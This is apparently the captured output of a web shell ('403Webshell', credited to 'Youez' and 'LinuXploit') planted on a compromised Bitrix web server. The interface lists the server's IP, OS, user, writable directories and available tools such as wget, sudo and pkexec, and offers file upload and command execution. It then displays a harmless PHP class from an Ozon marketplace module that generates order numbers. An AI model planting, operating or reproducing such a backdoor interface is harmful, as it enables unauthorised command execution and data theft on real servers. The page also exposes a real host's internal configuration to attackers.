403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/wbs24.ozonapinew/lib/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/wbs24.ozonapinew/lib/OrderNumber.php
<?php
namespace Wbs24\Ozonapinew;

use Bitrix\Main\SystemException;
use Bitrix\Main\Loader;
use Bitrix\Main\Localization\Loc;

class OrderNumber
{
    use Exception; // trait
    use Accounts; // trait
    use OrdersHelper; // trait

    protected const XML_ID_PREFIX = 'OZON';

    public function __construct($objects = [])
    {
        try {
            $this->main = $objects['Main'] ?? new Main();
            $this->moduleId = $this->main->getModuleId();
            $this->wrappers = new Wrappers($objects);

            if (!Loader::IncludeModule('sale')) {
                throw new SystemException("Sale module isn`t installed");
            }
        } catch (SystemException $exception) {
            $this->exceptionHandler($exception);
        }
    }

    public static function generateOrderNumber($orderId, $type)
    {
        $orderNumber = new OrderNumber();
        if (
            $orderNumber->checkIsOrderFromTraidingPlatform($orderId)
            && $orderId > 0
        ) {
            $externalId = $orderNumber->getExternalId($orderId);

            $newOrderNumberTemplate = false;
            if ($externalId) {
                $newOrderNumberTemplate = $orderNumber->createOrderNumber($orderId, $externalId);
            }

            if ($newOrderNumberTemplate) {
                return $newOrderNumberTemplate;
            } else {
                return false;
            }
        }

        return false;
    }

    protected function createOrderNumber($orderId, $postingNumber)
    {
        $isOrderIdSnippet = strpos($this->orderNumberTemplate, '{ORDER_ID}');
        $isExternalIdSnippet = strpos($this->orderNumberTemplate, '{ORDER_OZON}');

        if ($isOrderIdSnippet === false && $isExternalIdSnippet === false) {
            return false;
        } else {
            $patterns = [
                '/{DAY}/',
                '/{MONTH}/',
                '/{YEAR}/',
                '/{ORDER_OZON}/',
                '/{ORDER_ID}/'
            ];

            $replacements = [
                date('d'),
                date('m'),
                date('Y'),
                $postingNumber,
                $orderId
            ];

            $newOrderNumber = preg_replace($patterns, $replacements, $this->orderNumberTemplate);

            return $newOrderNumber;
        }
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit